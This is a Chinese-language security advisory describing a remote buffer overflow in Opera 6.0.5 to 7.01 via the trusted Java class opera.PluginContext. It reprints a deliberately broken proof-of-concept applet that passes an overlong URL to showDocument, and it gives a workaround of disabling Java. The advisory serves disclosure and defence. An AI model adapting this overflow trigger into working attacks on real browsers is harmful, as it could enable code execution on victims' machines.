首页 -> 安全研究

安全研究

安全漏洞
Opera opera.PluginContext Native方法远程缓冲区溢出漏洞

发布日期:2003-02-10
更新日期:2003-02-17

受影响系统:
Opera Software Opera Web Browser 7.01 win32
Opera Software Opera Web Browser 7.0 win32 Beta2
Opera Software Opera Web Browser 7.0 win32 Beta1
Opera Software Opera Web Browser 7.0 win32
Opera Software Opera Web Browser 6.0.5 win32
描述:
BUGTRAQ  ID: 6814

Opera是一款开放源代码的WEB浏览器。

Opera包含的可信Java类('opera.PluginContext')存在缓冲区溢出漏洞,远程攻击者可以利用这个漏洞构建恶意页面,诱使用户点击,使Opera产生缓冲区溢出,可能以Opera权限在系统上执行任意指令。

Opera在opera.jar库中拥有自己的类文件,这些文件被系统策略认为是可信资源。但是Java类('opera.PluginContext')中包含的Native方法缺少正确的用户输入检查。利用PluginContext对象的showDocument方法调用包含超长字符串的URL对象,执行这个方法时,由于调用的'native'方法不能正确处理此值,而触发Java虚拟机崩溃,精心构建提交字符串可能以Opera进程权限在系统上执行任意指令。

<*来源:Marc Schoenefeld (marc.schoenefeld@uni-muenster.de
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104490232816128&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Marc Schoenefeld (marc.schoenefeld@uni-muenster.de)提供了如下测试方法:

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org
//not runnable, a little crippled, there are couple of obvious syntax errors
to avoid script-kidding

...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends App1et
{
- -
- -    public OperaCall2()
- -    {
- -    }
- -
- -    public void paint(Graphics g)
- -    {
- -        PluginContext plugincontext = new PluginContext(l);
- -        try
- -        {
- -            plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000])));
- -        }
- -        catch(Exception exception)
- -        {
- -            exception.printStackTrace();
- -        }
- -    }
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在配置文件中关闭Java可执行可防止此漏洞触发。

厂商补丁:

Opera Software
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.opera.com

浏览次数:2986
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障